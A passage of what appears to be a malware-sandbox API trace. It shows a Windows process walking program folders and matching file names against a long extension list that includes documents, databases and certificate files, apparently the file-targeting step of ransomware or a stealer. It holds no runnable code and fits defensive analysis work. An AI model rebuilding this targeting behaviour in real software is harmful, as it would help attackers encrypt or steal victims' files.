lstrlenW (lpString=".dt") returned 3 [0185.064] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0185.064] lstrlenW (lpString=".dtd") returned 4 [0185.064] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0185.064] lstrlenW (lpString=".dwg") returned 4 [0185.065] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0185.065] lstrlenW (lpString=".dwt") returned 4 [0185.065] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0185.065] lstrlenW (lpString=".dx") returned 3 [0185.065] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0185.065] lstrlenW (lpString=".dxf") returned 4 [0185.065] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0185.065] lstrlenW (lpString=".edml") returned 5 [0185.065] lstrcmpiW (lpString1=".edml", lpString2="s.xml") returned -1 [0185.065] lstrlenW (lpString=".efd") returned 4 [0185.065] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0185.065] lstrlenW (lpString=".elf") returned 4 [0185.065] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0185.065] lstrlenW (lpString=".emf") returned 4 [0185.065] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0185.065] lstrlenW (lpString=".emz") returned 4 [0185.065] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0185.065] lstrlenW (lpString=".epf") returned 4 [0185.065] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0185.065] lstrlenW (lpString=".eps") returned 4 [0185.065] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0185.065] lstrlenW (lpString=".epsf") returned 5 [0185.065] lstrcmpiW (lpString1=".epsf", lpString2="s.xml") returned -1 [0185.065] lstrlenW (lpString=".epsp") returned 5 [0185.065] lstrcmpiW (lpString1=".epsp", lpString2="s.xml") returned -1 [0185.065] lstrlenW (lpString=".erf") returned 4 [0185.065] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0185.065] lstrlenW (lpString=".exr") returned 4 [0185.065] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0185.065] lstrlenW (lpString=".f4v") returned 4 [0185.066] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0185.066] lstrlenW (lpString=".fido") returned 5 [0185.066] lstrcmpiW (lpString1=".fido", lpString2="s.xml") returned -1 [0185.066] lstrlenW (lpString=".flm") returned 4 [0185.066] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0185.066] lstrlenW (lpString=".flv") returned 4 [0185.066] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0185.066] lstrlenW (lpString=".frm") returned 4 [0185.066] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0185.066] lstrlenW (lpString=".fxg") returned 4 [0185.066] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0185.066] lstrlenW (lpString=".geo") returned 4 [0185.066] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0185.066] lstrlenW (lpString=".gif") returned 4 [0185.066] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0185.066] lstrlenW (lpString=".grs") returned 4 [0185.066] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0185.066] lstrlenW (lpString=".gz") returned 3 [0185.066] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0185.066] lstrlenW (lpString=".h") returned 2 [0185.066] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0185.066] lstrlenW (lpString=".hdr") returned 4 [0185.066] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0185.066] lstrlenW (lpString=".hpp") returned 4 [0185.066] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0185.066] lstrlenW (lpString=".hta") returned 4 [0185.066] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0185.066] lstrlenW (lpString=".htc") returned 4 [0185.066] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0185.066] lstrlenW (lpString=".htm") returned 4 [0185.067] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0185.067] lstrlenW (lpString=".html") returned 5 [0185.067] lstrcmpiW (lpString1=".html", lpString2="s.xml") returned -1 [0185.067] lstrlenW (lpString=".icb") returned 4 [0185.067] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0185.067] lstrlenW (lpString=".ics") returned 4 [0185.067] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0185.067] lstrlenW (lpString=".iff") returned 4 [0185.067] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0185.067] lstrlenW (lpString=".inc") returned 4 [0185.067] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0185.067] lstrlenW (lpString=".indd") returned 5 [0185.067] lstrcmpiW (lpString1=".indd", lpString2="s.xml") returned -1 [0185.067] lstrlenW (lpString=".ini") returned 4 [0185.067] lstrcmpiW (lpString1=".ini", lpString2=".xml") returned -1 [0185.067] lstrlenW (lpString=".iqy") returned 4 [0185.067] lstrcmpiW (lpString1=".iqy", lpString2=".xml") returned -1 [0185.067] lstrlenW (lpString=".j2c") returned 4 [0185.067] lstrcmpiW (lpString1=".j2c", lpString2=".xml") returned -1 [0185.067] lstrlenW (lpString=".j2k") returned 4 [0185.067] lstrcmpiW (lpString1=".j2k", lpString2=".xml") returned -1 [0185.067] lstrlenW (lpString=".java") returned 5 [0185.067] lstrcmpiW (lpString1=".java", lpString2="s.xml") returned -1 [0185.067] lstrlenW (lpString=".jp2") returned 4 [0185.067] lstrcmpiW (lpString1=".jp2", lpString2=".xml") returned -1 [0185.067] lstrlenW (lpString=".jpc") returned 4 [0185.067] lstrcmpiW (lpString1=".jpc", lpString2=".xml") returned -1 [0185.067] lstrlenW (lpString=".jpe") returned 4 [0185.067] lstrcmpiW (lpString1=".jpe", lpString2=".xml") returned -1 [0185.067] lstrlenW (lpString=".jpeg") returned 5 [0185.068] lstrcmpiW (lpString1=".jpeg", lpString2="s.xml") returned -1 [0185.068] lstrlenW (lpString=".jpf") returned 4 [0185.068] lstrcmpiW (lpString1=".jpf", lpString2=".xml") returned -1 [0185.068] lstrlenW (lpString=".jpg") returned 4 [0185.068] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0185.068] lstrlenW (lpString=".jpx") returned 4 [0185.068] lstrcmpiW (lpString1=".jpx", lpString2=".xml") returned -1 [0185.068] lstrlenW (lpString=".js") returned 3 [0185.068] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1 [0185.068] lstrlenW (lpString=".jsf") returned 4 [0185.068] lstrcmpiW (lpString1=".jsf", lpString2=".xml") returned -1 [0185.068] lstrlenW (lpString=".json") returned 5 [0185.068] lstrcmpiW (lpString1=".json", lpString2="s.xml") returned -1 [0185.068] lstrlenW (lpString=".jsp") returned 4 [0185.068] lstrcmpiW (lpString1=".jsp", lpString2=".xml") returned -1 [0185.068] lstrlenW (lpString=".kdc") returned 4 [0185.068] lstrcmpiW (lpString1=".kdc", lpString2=".xml") returned -1 [0185.068] lstrlenW (lpString=".kmz") returned 4 [0185.068] lstrcmpiW (lpString1=".kmz", lpString2=".xml") returned -1 [0185.068] lstrlenW (lpString=".kwm") returned 4 [0185.068] lstrcmpiW (lpString1=".kwm", lpString2=".xml") returned -1 [0185.068] lstrlenW (lpString=".lasso") returned 6 [0185.068] lstrcmpiW (lpString1=".lasso", lpString2="gs.xml") returned -1 [0185.068] lstrlenW (lpString=".lbi") returned 4 [0185.068] lstrcmpiW (lpString1=".lbi", lpString2=".xml") returned -1 [0185.068] lstrlenW (lpString=".lgf") returned 4 [0185.068] lstrcmpiW (lpString1=".lgf", lpString2=".xml") returned -1 [0185.068] lstrlenW (lpString=".lgp") returned 4 [0185.068] lstrcmpiW (lpString1=".lgp", lpString2=".xml") returned -1 [0185.068] lstrlenW (lpString=".log") returned 4 [0185.069] lstrcmpiW (lpString1=".log", lpString2=".xml") returned -1 [0185.069] lstrlenW (lpString=".m1v") returned 4 [0185.069] lstrcmpiW (lpString1=".m1v", lpString2=".xml") returned -1 [0185.069] lstrlenW (lpString=".m4a") returned 4 [0185.069] lstrcmpiW (lpString1=".m4a", lpString2=".xml") returned -1 [0185.069] lstrlenW (lpString=".m4v") returned 4 [0185.069] lstrcmpiW (lpString1=".m4v", lpString2=".xml") returned -1 [0185.069] lstrlenW (lpString=".max") returned 4 [0185.069] lstrcmpiW (lpString1=".max", lpString2=".xml") returned -1 [0185.069] lstrlenW (lpString=".md") returned 3 [0185.069] lstrcmpiW (lpString1=".md", lpString2="xml") returned -1 [0185.069] lstrlenW (lpString=".mda") returned 4 [0185.069] lstrcmpiW (lpString1=".mda", lpString2=".xml") returned -1 [0185.069] lstrlenW (lpString=".mdb") returned 4 [0185.069] lstrcmpiW (lpString1=".mdb", lpString2=".xml") returned -1 [0185.069] lstrlenW (lpString=".mde") returned 4 [0185.069] lstrcmpiW (lpString1=".mde", lpString2=".xml") returned -1 [0185.069] lstrlenW (lpString=".mdf") returned 4 [0185.069] lstrcmpiW (lpString1=".mdf", lpString2=".xml") returned -1 [0185.069] lstrlenW (lpString=".mdw") returned 4 [0185.069] lstrcmpiW (lpString1=".mdw", lpString2=".xml") returned -1 [0185.069] lstrlenW (lpString=".mef") returned 4 [0185.069] lstrcmpiW (lpString1=".mef", lpString2=".xml") returned -1 [0185.069] lstrlenW (lpString=".mft") returned 4 [0185.069] lstrcmpiW (lpString1=".mft", lpString2=".xml") returned -1 [0185.069] lstrlenW (lpString=".mfw") returned 4 [0185.069] lstrcmpiW (lpString1=".mfw", lpString2=".xml") returned -1 [0185.069] lstrlenW (lpString=".mht") returned 4 [0185.069] lstrcmpiW (lpString1=".mht", lpString2=".xml") returned -1 [0185.070] lstrlenW (lpString=".mhtml") returned 6 [0185.070] lstrcmpiW (lpString1=".mhtml", lpString2="gs.xml") returned -1 [0185.070] lstrlenW (lpString=".mka") returned 4 [0185.070] lstrcmpiW (lpString1=".mka", lpString2=".xml") returned -1 [0185.070] lstrlenW (lpString=".mkidx") returned 6 [0185.070] lstrcmpiW (lpString1=".mkidx", lpString2="gs.xml") returned -1 [0185.070] lstrlenW (lpString=".mkv") returned 4 [0185.070] lstrcmpiW (lpString1=".mkv", lpString2=".xml") returned -1 [0185.070] lstrlenW (lpString=".mos") returned 4 [0185.070] lstrcmpiW (lpString1=".mos", lpString2=".xml") returned -1 [0185.070] lstrlenW (lpString=".mov") returned 4 [0185.070] lstrcmpiW (lpString1=".mov", lpString2=".xml") returned -1 [0185.070] lstrlenW (lpString=".mp3") returned 4 [0185.070] lstrcmpiW (lpString1=".mp3", lpString2=".xml") returned -1 [0185.070] lstrlenW (lpString=".mp4") returned 4 [0185.070] lstrcmpiW (lpString1=".mp4", lpString2=".xml") returned -1 [0185.070] lstrlenW (lpString=".mpeg") returned 5 [0185.070] lstrcmpiW (lpString1=".mpeg", lpString2="s.xml") returned -1 [0185.070] lstrlenW (lpString=".mpg") returned 4 [0185.070] lstrcmpiW (lpString1=".mpg", lpString2=".xml") returned -1 [0185.070] lstrlenW (lpString=".mpv") returned 4 [0185.070] lstrcmpiW (lpString1=".mpv", lpString2=".xml") returned -1 [0185.070] lstrlenW (lpString=".mrw") returned 4 [0185.070] lstrcmpiW (lpString1=".mrw", lpString2=".xml") returned -1 [0185.070] lstrlenW (lpString=".msg") returned 4 [0185.070] lstrcmpiW (lpString1=".msg", lpString2=".xml") returned -1 [0185.070] lstrlenW (lpString=".mxl") returned 4 [0185.070] lstrcmpiW (lpString1=".mxl", lpString2=".xml") returned -1 [0185.070] lstrlenW (lpString=".myd") returned 4 [0185.070] lstrcmpiW (lpString1=".myd", lpString2=".xml") returned -1 [0185.071] lstrlenW (lpString=".myi") returned 4 [0185.071] lstrcmpiW (lpString1=".myi", lpString2=".xml") returned -1 [0185.071] lstrlenW (lpString=".nef") returned 4 [0185.071] lstrcmpiW (lpString1=".nef", lpString2=".xml") returned -1 [0185.071] lstrlenW (lpString=".nrw") returned 4 [0185.071] lstrcmpiW (lpString1=".nrw", lpString2=".xml") returned -1 [0185.071] lstrlenW (lpString=".obj") returned 4 [0185.071] lstrcmpiW (lpString1=".obj", lpString2=".xml") returned -1 [0185.071] lstrlenW (lpString=".odb") returned 4 [0185.071] lstrcmpiW (lpString1=".odb", lpString2=".xml") returned -1 [0185.071] lstrlenW (lpString=".odc") returned 4 [0185.071] lstrcmpiW (lpString1=".odc", lpString2=".xml") returned -1 [0185.071] lstrlenW (lpString=".odm") returned 4 [0185.071] lstrcmpiW (lpString1=".odm", lpString2=".xml") returned -1 [0185.071] lstrlenW (lpString=".odp") returned 4 [0185.071] lstrcmpiW (lpString1=".odp", lpString2=".xml") returned -1 [0185.071] lstrlenW (lpString=".ods") returned 4 [0185.071] lstrcmpiW (lpString1=".ods", lpString2=".xml") returned -1 [0185.071] lstrlenW (lpString=".oft") returned 4 [0185.071] lstrcmpiW (lpString1=".oft", lpString2=".xml") returned -1 [0185.071] lstrlenW (lpString=".one") returned 4 [0185.071] lstrcmpiW (lpString1=".one", lpString2=".xml") returned -1 [0185.071] lstrlenW (lpString=".onepkg") returned 7 [0185.071] lstrcmpiW (lpString1=".onepkg", lpString2="ngs.xml") returned -1 [0185.071] lstrlenW (lpString=".onetoc2") returned 8 [0185.071] lstrcmpiW (lpString1=".onetoc2", lpString2="ings.xml") returned -1 [0185.071] lstrlenW (lpString=".opt") returned 4 [0185.071] lstrcmpiW (lpString1=".opt", lpString2=".xml") returned -1 [0185.071] lstrlenW (lpString=".oqy") returned 4 [0185.072] lstrcmpiW (lpString1=".oqy", lpString2=".xml") returned -1 [0185.072] lstrlenW (lpString=".orf") returned 4 [0185.072] lstrcmpiW (lpString1=".orf", lpString2=".xml") returned -1 [0185.072] lstrlenW (lpString=".p12") returned 4 [0185.072] lstrcmpiW (lpString1=".p12", lpString2=".xml") returned -1 [0185.072] lstrlenW (lpString=".p7b") returned 4 [0185.072] lstrcmpiW (lpString1=".p7b", lpString2=".xml") returned -1 [0185.072] lstrlenW (lpString=".p7c") returned 4 [0185.072] lstrcmpiW (lpString1=".p7c", lpString2=".xml") returned -1 [0185.072] lstrlenW (lpString=".pam") returned 4 [0185.072] lstrcmpiW (lpString1=".pam", lpString2=".xml") returned -1 [0185.072] lstrlenW (lpString=".pbm") returned 4 [0185.072] lstrcmpiW (lpString1=".pbm", lpString2=".xml") returned -1 [0185.072] lstrlenW (lpString=".pct") returned 4 [0185.072] lstrcmpiW (lpString1=".pct", lpString2=".xml") returned -1 [0185.072] lstrlenW (lpString=".pcx") returned 4 [0185.072] lstrcmpiW (lpString1=".pcx", lpString2=".xml") returned -1 [0185.072] lstrlenW (lpString=".pdd") returned 4 [0185.072] lstrcmpiW (lpString1=".pdd", lpString2=".xml") returned -1 [0185.072] lstrlenW (lpString=".pdf") returned 4 [0185.072] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0185.072] lstrlenW (lpString=".pdp") returned 4 [0185.072] lstrcmpiW (lpString1=".pdp", lpString2=".xml") returned -1 [0185.072] lstrlenW (lpString=".pef") returned 4 [0185.072] lstrcmpiW (lpString1=".pef", lpString2=".xml") returned -1 [0185.073] lstrlenW (lpString=".pem") returned 4 [0185.073] lstrcmpiW (lpString1=".pem", lpString2=".xml") returned -1 [0185.073] lstrlenW (lpString=".pff") returned 4 [0185.073] lstrcmpiW (lpString1=".pff", lpString2=".xml") returned -1 [0185.073] lstrlenW (lpString=".pfm") returned 4 [0185.073] lstrcmpiW (lpString1=".pfm", lpString2=".xml") returned -1 [0185.073] lstrlenW (lpString=".pfx") returned 4 [0185.073] lstrcmpiW (lpString1=".pfx", lpString2=".xml") returned -1 [0185.073] lstrlenW (lpString=".pgm") returned 4 [0185.073] lstrcmpiW (lpString1=".pgm", lpString2=".xml") returned -1 [0185.073] lstrlenW (lpString=".php") returned 4 [0185.073] lstrcmpiW (lpString1=".php", lpString2=".xml") returned -1 [0185.073] lstrlenW (lpString=".php3") returned 5 [0185.073] lstrcmpiW (lpString1=".php3", lpString2="s.xml") returned -1 [0185.073] lstrlenW (lpString=".php4") returned 5 [0185.073] lstrcmpiW (lpString1=".php4", lpString2="s.xml") returned -1 [0185.073] lstrlenW (lpString=".php5") returned 5 [0185.073] lstrcmpiW (lpString1=".php5", lpString2="s.xml") returned -1 [0185.073] lstrlenW (lpString=".phtml") returned 6 [0185.073] lstrcmpiW (lpString1=".phtml", lpString2="gs.xml") returned -1 [0185.074] lstrlenW (lpString=".pict") returned 5 [0185.074] lstrcmpiW (lpString1=".pict", lpString2="s.xml") returned -1 [0185.074] lstrlenW (lpString=".pl") returned 3 [0185.074] lstrcmpiW (lpString1=".pl", lpString2="xml") returned -1 [0185.074] lstrlenW (lpString=".pls") returned 4 [0185.074] lstrcmpiW (lpString1=".pls", lpString2=".xml") returned -1 [0185.074] lstrlenW (lpString=".pm") returned 3 [0185.074] lstrcmpiW (lpString1=".pm", lpString2="xml") returned -1 [0185.074] lstrlenW (lpString=".png") returned 4 [0185.074] lstrcmpiW (lpString1=".png", lpString2=".xml") returned -1 [0185.074] lstrlenW (lpString=".pnm") returned 4 [0185.074] lstrcmpiW (lpString1=".pnm", lpString2=".xml") returned -1 [0185.074] lstrlenW (lpString=".pot") returned 4 [0185.074] lstrcmpiW (lpString1=".pot", lpString2=".xml") returned -1 [0185.074] lstrlenW (lpString=".potm") returned 5 [0185.074] lstrcmpiW (lpString1=".potm", lpString2="s.xml") returned -1 [0185.074] lstrlenW (lpString=".potx") returned 5 [0185.074] lstrcmpiW (lpString1=".potx", lpString2="s.xml") returned -1 [0185.074] lstrlenW (lpString=".ppa") returned 4 [0185.074] lstrcmpiW (lpString1=".ppa", lpString2=".xml") returned -1 [0185.074] lstrlenW (lpString=".ppam") returned 5 [0185.074] lstrcmpiW (lpString1=".ppam", lpString2="s.xml") returned -1 [0185.074] lstrlenW (lpString=".ppm") returned 4 [0185.074] lstrcmpiW (lpString1=".ppm", lpString2=".xml") returned -1 [0185.074] lstrlenW (lpString=".pps") returned 4 [0185.074] lstrcmpiW (lpString1=".pps", lpString2=".xml") returned -1 [0185.074] lstrlenW (lpString=".ppsm") returned 5 [0185.074] lstrcmpiW (lpString1=".ppsm", lpString2="s.xml") returned -1 [0185.074] lstrlenW (lpString=".ppt") returned 4 [0185.075] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0185.075] lstrlenW (lpString=".pptm") returned 5 [0185.075] lstrcmpiW (lpString1=".pptm", lpString2="s.xml") returned -1 [0185.075] lstrlenW (lpString=".pptx") returned 5 [0185.075] lstrcmpiW (lpString1=".pptx", lpString2="s.xml") returned -1 [0185.075] lstrlenW (lpString=".prn") returned 4 [0185.075] lstrcmpiW (lpString1=".prn", lpString2=".xml") returned -1 [0185.075] lstrlenW (lpString=".ps") returned 3 [0185.075] lstrcmpiW (lpString1=".ps", lpString2="xml") returned -1 [0185.075] lstrlenW (lpString=".psb") returned 4 [0185.075] lstrcmpiW (lpString1=".psb", lpString2=".xml") returned -1 [0185.075] lstrlenW (lpString=".psd") returned 4 [0185.075] lstrcmpiW (lpString1=".psd", lpString2=".xml") returned -1 [0185.075] lstrlenW (lpString=".pst") returned 4 [0185.075] lstrcmpiW (lpString1=".pst", lpString2=".xml") returned -1 [0185.075] lstrlenW (lpString=".ptx") returned 4 [0185.075] lstrcmpiW (lpString1=".ptx", lpString2=".xml") returned -1 [0185.075] lstrlenW (lpString=".pub") returned 4 [0185.075] lstrcmpiW (lpString1=".pub", lpString2=".xml") returned -1 [0185.075] lstrlenW (lpString=".pwm") returned 4 [0185.075] lstrcmpiW (lpString1=".pwm", lpString2=".xml") returned -1 [0185.075] lstrlenW (lpString=".pxr") returned 4 [0185.075] lstrcmpiW (lpString1=".pxr", lpString2=".xml") returned -1 [0185.075] lstrlenW (lpString=".py") returned 3 [0185.075] lstrcmpiW (lpString1=".py", lpString2="xml") returned -1 [0185.075] lstrlenW (lpString=".qt") returned 3 [0185.075] lstrcmpiW (lpString1=".qt", lpString2="xml") returned -1 [0185.075] lstrlenW (lpString=".r3d") returned 4 [0185.075] lstrcmpiW (lpString1=".r3d", lpString2=".xml") returned -1 [0185.075] lstrlenW (lpString=".raf") returned 4 [0185.076] lstrcmpiW (lpString1=".raf", lpString2=".xml") returned -1 [0185.076] lstrlenW (lpString=".rar") returned 4 [0185.076] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0185.076] lstrlenW (lpString=".raw") returned 4 [0185.076] lstrcmpiW (lpString1=".raw", lpString2=".xml") returned -1 [0185.076] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1af, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0185.076] FindClose (in: hFindFile=0x484d18 | out: hFindFile=0x484d18) returned 1 [0185.077] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0185.077] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c00614, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93a9c3f1, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0185.077] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0185.077] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c00614, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93a9c3f1, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0185.080] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c00614, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93a9c3f1, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0185.080] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xd422, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0185.080] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x19338e00, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x2a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0185.080] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1e2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0185.080] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a9c3f1, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93a9c3f1, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x219, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0185.080] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a9c3f1, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93a9c3f1, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x219, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0185.080] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0185.081] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0185.081] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c62177, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x949a9132, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi-VN", cAlternateFileName="")) returned 1 [0185.081] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0185.082] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c62177, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x949a9132, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0185.084] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c62177, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x949a9132, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0185.084] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93b5b0aa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, 